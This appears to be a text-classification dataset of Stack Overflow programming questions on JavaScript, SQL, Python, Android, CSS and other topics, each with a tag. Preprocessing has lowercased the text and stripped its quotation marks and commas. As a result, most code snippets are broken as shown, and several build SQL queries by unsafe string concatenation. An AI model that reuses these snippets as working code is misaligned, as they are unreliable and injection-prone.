is a javascript code to remove blank lines fromt text in a textarea and copy to clipboard a server-side program  i have a tool i ve created for work that removes blank lines from a confirmation and then copies to clip board.  i am wondering if these are server-side or client-side programs as the info pasted in the textarea is confidential.   <pre><code>&lt;script&gt; // logs  copies to clipboard   function copytoclipboard(element) {   var text = $(element).clone().find( br ).prepend( \r\n ).end().text()   element = $( &lt;textarea&gt; ).appendto( body ).val(text).select()   document.execcommand( copy )   element.remove()    } &lt;/script&gt;  &lt;script type= text/javascript &gt;// logs  removes blank spaces      var viewmodel = {    myvalue: ko.observable(  )     cleared: ko.observable(false)     clearvalue: function() {           this.myvalue(  );       this.cleared(true);     } };  ko.applybindings(viewmodel); &lt;/script&gt; </code></pre>,javascript
how to pause program execution when pause button is pressed  i   want in this action whenever pause button is pressed it should pause the program execution as well because right now when i pause the audio file it still keeps on displaying views one after the other. i want that to be paused as well.   <pre><code> -(void)playpauseaction:(id)sender  {    if      ([audioplayer isplaying]){   [sender setimage:[uiimage imagenamed:@ play.png ] forstate:uicontrolstateselected];   [audioplayer pause];    } else {   [sender setimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstatenormal];  [audioplayer play];  [self performselector:@selector(displayviewsaction:) withobject:nil afterdelay:11.0];    }    } </code></pre>   anyone know how i can pause the program execution as well.,iphone
javascript loop for each  is there a possible way  i could loop through these   how can i possibly do that in short sentence  thanks!   <pre><code>$(function() {     $( #c1 ).on( mouseenter   function() {         $( #c1 ).children().first().animate({              r :60         }  500);     });      $( #c1 ).on( mouseout   function() {         $( #c1 ).children().first().animate({              r :34         }  500) ;     });    $( #c2 ).on( mouseenter   function() {         $( #c2 ).children().first().animate({              r : 60         }  500);     });     $( #c2 ).on( mouseout   function() {         $( #c2 ).children().first().animate({              r : 34         }  500);     }); </code></pre>,jquery
invert pose parameter in  fitting a model to new points   active shape model   i don t understand what is  invert pose parameter  to do this <a href= http://min.us/lbfdrfi5id8hl9  rel= nofollow >t transformation</a>     pose parameter are: xt  yt  delta  s in above formula:    <a href= http://min.us/l1b83zpmbc4qq  rel= nofollow >formula</a>,c++
css - i need to move some text so that text flows around an image  i have an image that is positioned way over to the right side of the div. i want the text that is now being pushed below the image to rise up and wrap around the image  or ignore the image.      i ve tried different floats and divs and wraps and overflows and all kinds of stuff but i can t get that text two rise up and fill the top left side of the box.    the image i am referring to is the  little red triangle  on right side of the page  in the very top box. there s only one of them.    can you help me move that text into its proper place     <a href= http://www.i-treadmillreviews.com/ 1/treadmill-reviews-yowza  rel= nofollow >http://www.i-treadmillreviews.com/ 1/treadmill-reviews-yowza</a>,css
what does a method with (int[] []) mean   we are given some code snippets to look at and figure out what the code does/will do.    i understand methods and methods with arrays but i have never seen <code>methodname(int[][]  m)</code> with two <code>[][]</code>    what does this mean  an array within an array,java
error in making custom application part of android operating system  i am trying to make my application part of android os  i downloaded the <a href= http://www.cyanogenmod.com/  rel= nofollow >cyanogenmod</a> (cm7) and compiled it successfully  i am following instructions from <a href= http://www.youtube.com/watch v=1_h4alqana0  rel= nofollow >here</a>:     the name of the application is  hitme .    here are the steps which i followed:   <ol> <li>cd cyanogen/packages/apps</li> <li>ln -s /home/usama/desktop/hitme</li> <li>cd hitme</li> <li> copy the android.mk file   this is the android.mk file local_path := $(call my-dir) include $((clear_vars)   <h1>build all java files in the java subdirectory (there is # in the start  its a comment)</h1>   local_src_files := $(call all -subdir -java-files)   <h1>name of the apk to build (there is # in the start  its a comment)</h1>   local_package_name := hitme    include $(build_package) </li> <li>rm -rf bin gen</li> <li>cd cyanogen/build/target/product</li> <li>add  hitme /  in the core.mk file</li> <li>cd cyanogen/packages/apps/hitme</li> <li> mm and i got this error:    usama@ubuntu:~/desktop/cyanogen/packages/apps$ cd hitme    usama@ubuntu:~/desktop/cyanogen/packages/apps/hitme$ mm    ============================================    platform_version_codename=rel    platform_version=2.3.7    target_product=full    target_build_variant=eng    target_simulator=    target_build_type=release    target_build_apps=    target_arch=arm    target_arch_variant=armv7-a    host_arch=x86    host_os=linux    host_build_type=release    build_id=gingerbread    ============================================    make: entering directory <code>/home/usama/desktop/cyanogen    make: *** no rule to make target</code>out/target/common/obj/apps/framework-      res_intermediates/src/r.stamp   needed by `out/target/common/obj/apps/localpackage_intermediates/src/r.stamp .  stop. </li> </ol>   i thought this would only be happening with my application  but i tried this with dspmanager(which came as a service in cm-7) and i got the exact same error  here is the output of terminal   <pre><code>  usama@ubuntu:~/desktop/cyanogen/packages/apps/dspmanager$ mm   ============================================   platform_version_codename=rel   platform_version=2.3.7   target_product=full   target_build_variant=eng   target_simulator=   target_build_type=release   target_build_apps=   target_arch=arm   target_arch_variant=armv7-a   host_arch=x86   host_os=linux   host_build_type=release   build_id=gingerbread   ============================================   make: entering directory `/home/usama/desktop/cyanogen    make: *** no rule to make target `out/target/common/obj/apps/framework-      res_intermediates/src/r.stamp   needed by `out/target/common/obj/apps/dspmanager_intermediates/src/r.stamp .  stop. </code></pre>   make: leaving directory `/home/usama/desktop/cyanogen  usama@ubuntu:~/desktop/cyanogen/packages/apps/dspmanager$     any idea  about how this can be resolved,android
why showing fatal error on static function  i have a tiny class of inserting payment record into database. below is given:   <pre><code>&lt; php  class pay{         public static function pay($user  $income  $type  $refid= -- ){         mysql_query( insert into earn values (null   $user    $income    $refid    $type    .time(). ) );            }     }   &gt; </code></pre>   but browser gives the below fatal error..   <blockquote>    fatal error: constructor pay::pay() cannot be static in f:\xampp\htdocs\new\sts\class.php on line 41  </blockquote>   i am confused that why the error occurring.. please help me to understand.,php
problem with an querying an array. (mysql/php)  i have an array of strings inputted by the user from an dynamic form. i want to store each value of the array into a table along with an itemid (which is the same for all)     my query is currently inserting the whole array into one row s text_value with implode.    is there a way instead of looping through the array and running a query for each value in the array  for me to query each array value with the itemid.    i was thinking perhaps adding another dimension to the array with the itemid  is this possible     current query:   <pre><code>$query =  insert into answers_tb (item_id  text_value)values( $itemid    .implode(     $answers) .   ) ; </code></pre>   here is print_r of array:    array ( [0] => option 1 [1] => option 2 [2] => option 3 [3] => option 4 )     here is the table structure i am inserting to (item_id is a foreign key):   <pre><code>**field**  | **type**   **attributes**       answer_id  | int(11)    primary key  item_id    | int(11)    foreign key                  text_value | varchar(50)  </code></pre>   the referenced table:   <pre><code>**field**       | **type**        | **attributes**   item_id      | int(11)    |       primary key                item_type    | tinyint(1)     |      user_id      | int(11)    |      unit_id      | int(11)    |      question_text    | varchar(100)              question_text_2  | varchar(100)              item_desc    | varchar(25)           item_name    | varchar(25) </code></pre>   thanks,mysql
accessing functions in the window object  if i type: <code>window[ alert ]</code> in the console it will find the <code>alert()</code> function.    however if i type: <code>window[ location.replace ]</code>    it will be <code>undefined</code>. why can t i access the <code>location.replace</code> function,javascript
java method returns an object of the same class  i m having trouble with my following code:   <pre><code>public class board {     private int[][] blocks;     private  int dim;     private int hdistance;     private int mdistance;     private int indexrow;//row of the empty block;     private int indexcolumn;//column of the empty block;      public board(int[][] blocks)                                                  {               dim = blocks.length;        this.blocks = new int[dim][dim];        this.blocks = blocks;        mdistance = manhattan();        hdistance = hamming();        }      public board twin()                         {        board twinboard = this;         if(indexrow!=0)        {           exch(twinboard.blocks  0  0  0  1);//swap(twinboard.blocks[0][0] with twinboard.blocks[0][1]         }        else        {           exch(twinboard.blocks  1  0  1  1);//swap(twinboard.blocks[1][0] with twinboard.blocks[1][1]         }        return twinboard;             }     private void exch(int[][] blocks  int i1  int j1  int i2  int j2)     {        int temp;        temp = blocks[i1][j1];        blocks[i1][j1] = blocks[i2][j2];        blocks[i2][j2] = temp;     }     public static void main(string[] args)     {         int[][] a = {                 {2 0 4}                  {1 5 7}                  {3 6 8}                 };         board board1 = new board(a);        board board2 = board1.twin();     } } </code></pre>   print out <code>board1.blocks</code> i got:     2 0 4    5 1 7    3 6 8    instead of     2 0 4    1 5 7    3 6 8    how did <code>board1.blocks</code> get swapped  and how can i only have <code>board2.block</code> swapped  and <code>board1.block</code> remain the same as before,java
post array of images got issues  i am selecting the multiple images from gallery i have to post those images to web service but i got problem to posting only one images i got post any one help me to solve this issues  thanks in advance ....    here is my code   <pre><code>-(void)callinguploadbusinessbussinessgalleryimageapi{      businessuser *bususer = [businessuser getbusinessuser];     nsmutablearray *arrimgdata = [[nsmutablearray alloc] init];      for (int i = 0; i &lt; self.chosenimages.count; i++) {      uploadimagedata = uiimagejpegrepresentation([self.chosenimages objectatindex:i]  0.1);     [arrimgdata insertobject:uploadimagedata atindex:i];      }      nsdata *data = [nskeyedarchiver archiveddatawithrootobject:arrimgdata];      //nsdata *data =[nspropertylistserialization datawithpropertylist:arrimgdata format:nspropertylistbinaryformat_v1_0 options:0 error:nil];     nsurl *uploadprofpicurl = [nsurl urlwithstring:baseurl];     nsmutabledictionary *datadictionary = [[nsmutabledictionary alloc] init];     [datadictionary setvalue:[nsnumber numberwithlong:bususer.business_id] forkey:@ business_id ];     networkhandler *networkhandler = [[networkhandler alloc] initwithrequesturl:uploadprofpicurl withbody:datadictionary withmethodtype:httpmethodpost withheaderfeild:nil];     [networkhandler startuploadrequest:@ directoryprofilephoto  withdata:data  withtype:filetypejpgimage withurlparameter:uploadbusinessgalleryimageurl withfilelocation:@ imagefile  successblock:^(id responseobject) {         nslog(@ %@   responseobject);     } progressblock:^(nsuinteger byteswritten  long long totalbyteswritten  long long totalbytesexpectedtowrite) {      } failureblock:^(nsstring *errordescription  id errorresponse) {      }]; } </code></pre>   here only single image posting to the server i need to send array of image ...,objective-c
three column layout  beginning from a layout to two column where column-left was fixed and column-right was liquid i have need to add a third column of widht fixed. i have this code:   <pre><code>&lt;did id= #container &gt;   &lt;div id= #col1 &gt; left fixed 15em &lt;/div&gt;   &lt;div id= #col2 &gt; center liquid &lt;/div&gt;   &lt;div id= #col3 &gt; right fixed 15em &lt;/div&gt; &lt;/div&gt; </code></pre>   with this css:   <pre><code>#container {   background-color: #ffffff;   height: auto;   overflow: hidden; } #col1 {   float: left;   margin: 1em;   padding: 0.5em;    width: 15em; } #col2 {   float: none;    width: auto;   overflow: hidden;   margin: 1em;   padding: 0.5em;  } #col3 {   float: right;    margin: 1em;   padding: 0.5em;    width: 15em; } </code></pre>   the result is that third column it is located below the second column to right. how i can fix this problem  the final result should to be a layout to three column where left and right column are fixed and central column is liquid. thank very much.,css
sql query if appears more that once in one table display the other table data  im trying to get the ownerid  fname  lname from owner when the ownerid appears more than once in property. this is what i tried but im pretty new to sql so i don t know if this is even close.   <pre><code>select ownerid  fname  lname  from owner  where ownerid = (select ownerid                   from property                   group by ownerid                   having count(*) &gt;=2) </code></pre>,sql
why does urllib2 return 500   i m trying the following -    <pre><code>import urllib2  page = urllib2.urlopen( http://dviappvmtca01:9001/deploy/ jobname=\blah12345 ) print page.getcode() </code></pre>   i can open that site in my browser and with httpfox and i get/see a 404.  if i try from python with the script above i get the following dump -    <pre><code>traceback (most recent call last):   file  c:\test.py   line 3  in &lt;module&gt;     page = urllib2.urlopen( http://dviappvmtca01:9001/deploy/ jobname=\blah12345 )   file  c:\python27\lib\urllib2.py   line 127  in urlopen     return _opener.open(url  data  timeout)   file  c:\python27\lib\urllib2.py   line 410  in open     response = meth(req  response)   file  c:\python27\lib\urllib2.py   line 523  in http_response      http   request  response  code  msg  hdrs)   file  c:\python27\lib\urllib2.py   line 448  in error     return self._call_chain(*args)   file  c:\python27\lib\urllib2.py   line 382  in _call_chain     result = func(*args)   file  c:\python27\lib\urllib2.py   line 531  in http_error_default     raise httperror(req.get_full_url()  code  msg  hdrs  fp) httperror: http error 500: internal server error </code></pre>,python
should there be a link between the class name and the file name in which it resides   ok  so i have 2 files (header and implementation) named <code>mylib.h</code> and <code>mylib.m</code>  inside those 2 files i have multiple classes  protocols and interfaces but none called  mylib . now  everything works just fine  i have only one problem  xcode doesn t show me any class hint except for <code>mylib</code> (which btw is only the name of the file  there is no <code>mylib</code> class).    now  this small problem made me think about it  is this a bad practice  is is better to have a file for each class and if yes  why,objective-c
opengl with figures 3d  i m working with figures 3d  i need to know how to work with files .pod in xcode. i m using opengl  but not as work with these files. from now thanks for any solution,objective-c
angular $http.post to retrieve jwt  i am attempting to make my code more reusable  but have come across a problem when making <code>$http</code> calls  if i use my normal way:   <pre><code>vm.loginuser = function () {   var userdata = {     username: vm.username      password: vm.userpassword      grant_type:  password       client_id:  e0...    };   console.log( userdata:    userdata);   var config = {     headers: { content-type :  application/x-www-form-urlencoded }      transformrequest: function (data) {       var str = [];       for (var d in data)         if (data.hasownproperty(d)) str.push(encodeuricomponent(d) +  =  + encodeuricomponent(data[d]));       return str.join( &amp; );     }   };   console.log( config:    config);   $http.post( https://a.n.org.uk/token   userdata  config)     .then(function (response) {       console.log( button clicked:    response);     }  function (response) {       console.log(response.data.error_description);     }  function (response) {       console.log(response.data);     });    </code></pre>   this works fine and doesn t give me any problems. i have made a <code>factory</code> that is basically the same but doesn t seem to work with giving me <code>options</code> error in the console and <code>preflight check... no  access-control-allow-origin  header </code>i wondered if this is a simple fix  i am using web api.   <pre><code>factory( homeresource   function ($http  $q) {   return {     getuser: getuser   };    function getuser(userdata) {     var request = $http({       method:  post         url:  https://a.n.org.uk/token         data: userdata        config: {         headers: { content-type :  application/x-www-form-urlencoded }          transformrequest: function (data) {           var str = [];           for (var d in data)             if (data.hasownproperty(d)) str.push(encodeuricomponent(d) +  =  + encodeuricomponent(data[d]));           return str.join( &amp; );         }       }     });      return (request.then(handlesuccess  handleerror));   }    function handlesuccess(response) {     return ( response.data );   } </code></pre>   in my <code>ctrl page</code> i pass in my <code>homeresource</code> and call it like so <code>homeresource.getuser(userdata).then(function (res) {console.log(res);});</code> and get the errors mentioned. is there a way to make this work,angularjs
asp.net update panel postback only by trigger  is it possible to have the control inside the update panel not to cause a postback and update the control only by a trigger. i have tried adding the tag  triggers  but control is still updating after i do something on it.   <pre><code>&lt;td&gt;     &lt;asp:updatepanel id= updatepanel7  runat= server  updatemode= conditional &gt;         &lt;contenttemplate&gt;             &lt;uc1:cbp runat= server  id= c1  /&gt;         &lt;/contenttemplate&gt;         &lt;triggers&gt;             &lt;asp:asyncpostbacktrigger controlid= c2  /&gt;         &lt;/triggers&gt;     &lt;/asp:updatepanel&gt; &lt;/td&gt; </code></pre>,asp.net
what does  var vm = this;  mean in angular controllers   i was browsing some stuff on github and i saw inside controller.js  someone had put the following:   <pre><code>function imagecontroller ($scope  $timeout) {    var vm = this; } </code></pre>   what is this used for,angularjs
multiple data access object  and a single persistance object  generally speaking i want to create a single object that hides lower-level access to data: mostly quering and loading  but also saving (read on). let s call it objectrepository.    objectrepository  when created  is given multiple data sources objects  implementing datasourceinterface. so at this stage i have one objectrepository to rule all data sources.    now i want to add a persistance ability to objectrepository. to simplify things  i want only one of the datasource objects to be also a persisting one (say  it implements extra datapersistanceinterface) - so that i don t have to indicate it every time i save data  i.e. always use this default one.    what is the best approach to the code design  when at the time of creating objectrepository i want to indicate one of datasource object as the one being also responsible for persistance  should i use some indexing for each datasource object  and indicate the persisting one by this index  or is there a better way,java
python httpserver on separate thread  i am trying to create an httpserver on a separate thread which should process a single get request and shutdown if a single parameter is passed in the url.   <pre><code>import sys import threading import basehttpserver from simplehttpserver import simplehttprequesthandler  class webserver(simplehttprequesthandler threading.thread):     port = 9000     protocol_version =  http/1.1      code =                httpd = none     isrunning = false     def do_get(self):         self.send_response(200)         self.send_header( content-type   text/html )         self.end_headers()         self.wfile.write( webpage )         try:             self.code = split(self.path  = )[1]         except:             pass         else:             self.isrunning=false             self.stop()                 def do_post(self):         pass     def __init__(self port=9000):         threading.thread.__init__(self)         self.port=port     def run(self):         while true:             server_address = ( 127.0.0.1  self.port)             try:                 self.httpd = basehttpserver.httpserver(server_address webserver)             except:                 self.port +=1             else:                 break         self.isrunning=true         self.httpd.serve_forever()  server = webserver(1) server.start() while(server.isrunning==false):     pass print  server running on port: %d  %(server.port) server.join() print  code:  +server.code </code></pre>   but an error occurs when a request is sent to it:   <pre><code>server running on port: 1025 ---------------------------------------- exception happened during processing of request from ( 127.0.0.1   56462) traceback (most recent call last):   file  /usr/lib/python2.7/socketserver.py   line 295  in _handle_request_noblock     self.process_request(request  client_address)   file  /usr/lib/python2.7/socketserver.py   line 321  in process_request     self.finish_request(request  client_address)   file  /usr/lib/python2.7/socketserver.py   line 334  in finish_request     self.requesthandlerclass(request  client_address  self) typeerror: __init__() takes at most 2 arguments (4 given) ---------------------------------------- </code></pre>   when using curl to connect to the server it gives this error:   <pre><code>curl: (52) empty reply from server  </code></pre>,python
php  not equal to  multiple categories  i m trying to target all categories in woocommerce that aren t  coffee   subscription for me  or  gift vocuhers . so  any category apart from these three should display the <code>&lt;h3&gt;</code> tag.    the code below works when i target any category apart from  coffee :   <pre><code>&lt;  if ($categoryname !=  coffee ) :  &gt;     &lt;h3&gt;&lt;  echo $product[ title ];  &gt;&lt;/h3&gt;  &lt;  endif;  &gt; </code></pre>   however  when i try to target eliminate multiple categories  it doesn t work. how can i adjust the first piece of code to allow multiple categories to be ignored     my attempt (not working):   <pre><code>&lt;  if ($categoryname !=  coffee  ||  subscription-for-me  ||  gift-vouchers ) :  &gt;     &lt;h3&gt;&lt;  echo $product[ title ];  &gt;&lt;/h3&gt;  &lt;  endif;  &gt; </code></pre>   thanks,php
how to add subitems in a listview  i m trying to add subitems in my listview. my listview should be organized with emails for items and their institution for  the subitems  but with the following code i just added items  how can i add my subitems on it  i ve tried so many things but it doesn t work.   <pre><code>        list&lt;login&gt; listemails = jsonutil.getallemails(json);          arraylist&lt;string&gt; emails = new arraylist&lt;string&gt;();          arraylist&lt;string&gt; institutions = new arraylist&lt;string&gt;();          for (login loginobj : listemails) {              emails.add(loginobj.getemailandress());         }          for (login loginobj : listemails) {              institutions.add(loginobj.getinstitution());         }          arrayadapter&lt;string&gt; adapter;          adapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  emails);          emaillistview.setadapter(adapter); </code></pre>,android
sql: select a row only if that cell has the max value given the id  i realize the title of the question is much more difficult than the question itself.    basically i have a dataset like this one:   <pre><code>id  hour 01  1 01  2 01  3 02  1 02  2 03  1 03  2 03  3 03  4 </code></pre>   the dataset refers to people that are playing a game. id is  of course  the id of the subject whilst  hour  refers to what happened in that hour of game. now  i would like to <strong>select only the rows that refer to the last hour played by that player</strong>.    so that:   <pre><code>id  hour 01  3 02  2 03  4 </code></pre>   any ideas,sql
select and order ecords between certain dates sql  i m pretty new to sql so please bear with me. i m trying to write a query in sql that will output all the records that fall within specific dates.    this is the code that i have at the moment but it doesn t work   <pre><code>select      `item`.`item`  `products`.`date` from     `item` left join      `products` on `products`.`itemcode` = `item`.`itemcode`   order by      `products`.`date` &gt;=  2017/02/25  and `products`.`date` &lt;=  2017/02/27  </code></pre>,sql
client side parsing of http multi part data in ios app  i have a multi-part response coming from server(it is asp.net  hosted on iis) which looks like this:      --myboundary\r\n  +              content-type:image/jpeg\r\n  +              content-length:  + length.tostring() +  \r\n\r\n ;    i want to add the timestamp attribute for the frame (image). how can i add it in the above string and how can i access (extract) the same in my client-side ios app     i have tried converting the nsdata object to nsstring using nsasciistring encoding but it went futile. please help me.    thanks.,objective-c
python - need help inserting text files with open() into mysql  can someone help me out with the mysql connection statement to instert a textfile into a mysql table (field type is long blob)     for example:   <pre><code>cursor.execute( insert into mytable (file_contents) values (  +open(filename  r ).read()+  ) ) </code></pre>   obviously that s not very practical  can someone post a better way to do this,python
oreo: how to listen unlock event   i want to do some work when user unlock their phone    i define a receiver in <code>androidmanifest.xml</code>   <pre><code>    &lt;receiver         android:enabled= true          android:name= .service.screenreceiver &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.user_present  /&gt;             &lt;category android:name= android.intent.category.default  /&gt;         &lt;/intent-filter&gt;     &lt;/receiver&gt; </code></pre>   and receiver    <pre><code>class screenreceiver : broadcastreceiver() {  override fun onreceive(context: context  intent: intent) {  }  private fun checkclearsavednote(context: context) {     apppref.getinstance(context).putstring(apppref.key_id_current_note    )     log.e( quang    clear note ) } } </code></pre>   but it was not called when fired    i ve tried using <code>service</code> and <code>registerbroadcastreceiver</code> inside     and start it when application start   <pre><code>class myapplication : multidexapplication() {  override fun oncreate() {     super.oncreate()     instance = this     multidex.install(applicationcontext)         try {             startservice(intent(this  noteservice::class.java))         } catch (e: illegalstateexception) {             e.printstacktrace()         } } </code></pre>   } but it work only with android api &lt; 8.0 because <a href= https://developer.android.com/about/versions/oreo/android-8.0-changes.html  rel= nofollow noreferrer >background execution limit</a>,android
addeventlistener  activating  automatically  basic question i know  but i m having trouble understanding something. i have a function that simulates a dice throw  with the number of faces as the parameter :   <pre><code>function throw(faces){ //my function here } </code></pre>   i then have buttons to simulate those launches with different numbers  and i want them to launch <code>throw</code> when they are clicked :   <pre><code>document.getelementbyid( 4 ).addeventlistener( click  throw(4)); document.getelementbyid( 6 ).addeventlistener( click  throw(6)); </code></pre>   etc.    but when i launch the codepen (<a href= https://codepen.io/arnaudstephan/pen/oxrbbz editors=0010  rel= nofollow noreferrer >here</a>)  the functions launch automatically (with the correct parameters though) and then i can t click the buttons. well i can  but nothing happens.    what am i doing wrong  i have a feeling it s a very basic stuff  but i can t seem to get it. i ve seen that if you put <code>throw</code> instead of <code>throw()</code> the function doesn t launch automatically  but how am i supposed to change the parameters then,javascript
how do i use the temperature performance monitor in c#.net   i m trying to create an application using speech for the blind and visually impaired that tells you the system uptime  how much ram you have available  current cpu load  and other stuff like that  and i ran into an issue; i cannot get the temperature performance counter to work properly   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.diagnostics; using system.threading; using system.speech.synthesis;  namespace consoleapplication2 {     class program     {         private static speechsynthesizer synth = new speechsynthesizer();         static void main(string[] args)         {             list&lt;string&gt; cpumaxedoutmessage = new list&lt;string&gt;();             cpumaxedoutmessage.add( warning: reduce the load on your cpu! );             cpumaxedoutmessage.add( don t push your cpu so hard! your cpu usage is at 100% );             cpumaxedoutmessage.add( cpu overload! );             cpumaxedoutmessage.add( congratulations. you have officially maxed your cpu. );             cpumaxedoutmessage.add( warning: reduce the load on your cpu! );              random rand = new random();              synth.speak( welcome to system resource monitor: vocal edition version 1.0 );              performancecounter perfcpucount = new performancecounter( processor information   % processor time   _total );             perfcpucount.nextvalue();             performancecounter perfmemcount = new performancecounter( memory    available mbytes );             perfmemcount.nextvalue();             performancecounter perfuptimecount = new performancecounter( system    system up time );             perfuptimecount.nextvalue();             performancecounter perftempzone = new performancecounter( thermal zone information    temperature    \_tz.tz00 );             perftempzone.nextvalue();              timespan uptimespan = timespan.fromseconds(perfuptimecount.nextvalue());             string systemuptimemessage = string.format( the current system up time is {0} days {1} hours {2} minutes {3} seconds   (int)uptimespan.totaldays  (int)uptimespan.hours  (int)uptimespan.minutes  (int)uptimespan.seconds);              joshspeak(systemuptimemessage  voicegender.male  2);              int speechspeed = 1;              while (true)             {                 int currentcpupercentage = (int)perfcpucount.nextvalue();                 int currentavailablememory = (int)perfmemcount.nextvalue();                 int currenttemp = (int)perftempzone.nextvalue();                   console.writeline( cpu load: {0}%   currentcpupercentage);                 console.writeline( available memory: {0}mb   currentavailablememory);                 console.writeline( your current temperature is: {0} degrees   currenttemp);                      if (currentcpupercentage == 100)                     {                         if(speechspeed &lt; 5)                         {                             speechspeed++;                         }                         string cpuloadvocalmessage = cpumaxedoutmessage[rand.next(4)];                         joshspeak(cpuloadvocalmessage voicegender.male  speechspeed++);                     }                     else                     {                          string cpuloadvocalmessage = string.format( the current cpu load is {0} percent   currentcpupercentage);                         joshspeak(cpuloadvocalmessage  voicegender.male  2);                     }                      string memavailablevocalmessage = string.format( you currently have {0} megabytes of memory available   currentavailablememory);                     joshspeak(memavailablevocalmessage  voicegender.male  2);                  string tempvocalmessage = string.format( you computer s current temperature is {0} degrees   currenttemp);                 joshspeak(tempvocalmessage  voicegender.male  2);                   thread.sleep(1000);             }         }         public static void joshspeak(string message  voicegender voicegender)         {             synth.selectvoicebyhints(voicegender);             synth.speak(message);         }         public static void joshspeak(string message  voicegender voicegender  int rate)         {             synth.rate = rate;             joshspeak(message  voicegender);         }     } } </code></pre>   the error output is as follows:   <blockquote>    code: cs1009   description: unrecognized escape sequence   line 35  </blockquote>,c#
absolute positioned element not getting 100% height  here s my code (a bit simplified)   <pre><code>&lt;thisisadiv id= wrapper  style= width:960px; margin:0 auto; position: relative; &gt;   &lt;img src= img/bg/wrapper.jpg  alt=   width= 960  id= bg  style= position:absolute; top:0; left:0; z-index:0; height:100%;  /&gt;   &lt;some more stuff&gt;&lt;/stuff&gt; &lt;/thisisadiv &gt; </code></pre>   here s my problem: if i give my image 100% height it works correctly in firefox/chrome (it stretches all allong its wrapper) while in explorer it inherits the page height!! causing an overheighted page. i tried with height=inherit but in firefox/chrome image doesn t stretch at all  in explorer the problem remains the same.  height=auto: the same as above in f/c + explorer doesn t stretch too.    any idea  thanks  vitto,css
difference between css height : 100% vs height : auto  i was asked a question in an interview that  what is the difference between the css <code>height:100%</code> and <code>height:auto</code>       can any one explain,css
postal sorting code program using ord() and char() --debugging trouble  i m stuck with my code for a problem where you get the user to enter a series of numbers/letters and the program returns all viable postal codes using the parameters provided. here is the question in detail:    <blockquote>    write a program that reads in numbers from the user. your program   should be capable of tracking/calculating the minimum  maximum  total   sum  and average of the numbers entered. when the user enters  q      q   or  quit   the program should display the minimum  maximum  total   sum  and average of the numbers entered before ending. you can assume   that the user will always enter either a number or one of the strings   “q”  “q”  or “quit”. you can also assume the user will always enter at   least one number (i.e.  they will not immediately choose to quit upon   starting the program).        save your python program in a file called a2q3.py and add it to your   submission zip file. problem 4 (postal sorting codes)        the forward sortation area code is the first three characters of a   canadian postal code (e.g.  the  k1s  in postal code  k1s 5b6 ) and it   has the format:         <ul>   <li>first character: a letter between a and z  </li>   <li>middle character: a number between 0 and 9 including zero and including 9    -  - last character: a letter between a and z  </li>   </ul>       you will create a program to generate a subset of the possible   sortation area codes. instead of using the entire range  you must   write a program using nested loops that generates all the possible   codes that fit constraints specified by the user. your program should   request the following information from the user:         <ol>   <li>the starting letter of the first character  </li>   <li>the ending letter of the first character  </li>   <li>the starting digit of the middle character  </li>   <li>the ending digit of the middle character  </li>   <li>the starting letter of the last character  </li>   <li>the ending letter of the last character  </li>   </ol>       your program should then print out all possible combinations that fit   these constraints. each of the ranges should include both the starting   and ending value  as well as all values in between. you can assume   that the user will only enter valid input (i.e.  upper case characters   for the letters and 0-9 for the digits).   you cannot use python’s   lists  dictionary or set functionality to iterate over the letters.   instead  you should use the ord() function to find the integer values   of the specified letters (i.e.  the ascii values) and the chr()   function to translate from integers back to letters (for more   information on these functions  visit   <a href= https://docs.python.org/3/library/functions.html  rel= nofollow noreferrer >https://docs.python.org/3/library/functions.html</a>). after printing out   each of the possible codes  your program should print out the total   number of codes before ending.  </blockquote>   here is my code:   <pre><code>start_let_first_char=input( please enter the starting letter of the first character:  ) end_let_first_char=input( please enter the ending letter of the first character:  )  start_dig_mid=int(input( please enter the starting digit of the middle character:  )) end_dig_mid=int(input( please enter the ending digit of the middle character:  ))  start_let_last_char=input( please enter the starting letter of the last character:  ) end_let_last_char=input( please enter the ending letter of the last character:  )  for x in range(ord(start_let_first_char) ord(end_let_first_char)+1):     for y in range(start_dig_mid end_dig_mid +1):         for z in range(ord(start_let_last_char) ord(end_let_last_char)+1):             print(chr(x)+str(y)+chr(z)) </code></pre>   the error i keep getting when i run the code and enter all the letters/digits is:     <pre><code>    for z in range(ord(start_let_last_char ord(end_let_last_char)+1)):   typeerror: ord() takes exactly one argument (2 given)  </code></pre>   thanks  it s fixed and working! i forgot to add a counter for the postal codes. should i just add a counter and a print(counter) function at the end  or can someone recommend a better way to do that,python
to  flag  a specific condition in sql query  i have a result set in the below format and i need to flag  groupcolumn    <pre><code>-------------------------------------------------------------------   id   groupcolumn         conditioncol1         conditioncol2 -------------------------------------------------------------------   1    101                 abc                   99   2    101                 def                   99   3    102                 abc                   01   4    102                 def                   01   5    103                 abc                   02   6    103                 def                   99   7    104                 def                   02   8    104                 def                   99 </code></pre>   first of the i need to flag the data based on  groupcolumn   with in this  groupcolumn  i am looking to satisfy condition of  abc  from one row and  99  from another row but not necessarily from the same row.     i looking to get a final result set some thing like this for the  output  column   <pre><code>-------------------------------------------------------------------   id   groupcolumn     conditioncol1     conditioncol2     output -------------------------------------------------------------------   1    101             abc               99                satisfied    2    101             def               99                satisfied   3    102             abc               01                   4    102             def               01   5    103             abc               02                satisfied   6    103             def               99                satisfied   7    104             def               02   8    104             def               99 </code></pre>,sql
configure mysql to periodically dump all data  i would like to configure mysql to periodically dump all data to a <code>.sql</code> file so that if something happens to my server and i need to start over  i can use the file to put all of the data back in place. how can i do this  i can take suggestions either involving use of the mysql workbench user interface to configure it or using a query.,mysql
how to get the content of java script object in another object   how to get the content of java script object in another object   let say my variable are like follows :   <pre><code>var credentials ={                   name :username                    passwd :password                  }   var params={         credentials :credentials        } </code></pre>   am passing params as an parameter to same other function.in that function i have another object pkt  as follows :   <pre><code>var pkt={           name :xxx           //xxxx          } </code></pre>   what to code at xxxx so that my final pkt structure should be like:   <pre><code>pkt={       name :xxx        credentials : {                     name :username                      passwd :password                     }      } </code></pre>   we may have multiple objects inside params the requirement is that the key value pair should come accordingly. the equivalent java code is as follows:   <pre><code>iterator iterkeys = params.keyset().iterator();         while (iterkeys.hasnext())         {             string key = (string)iterkeys.next();             jsonvalue value = params.get(key);             pkt.put(key  value);         } </code></pre>   thanks.,javascript
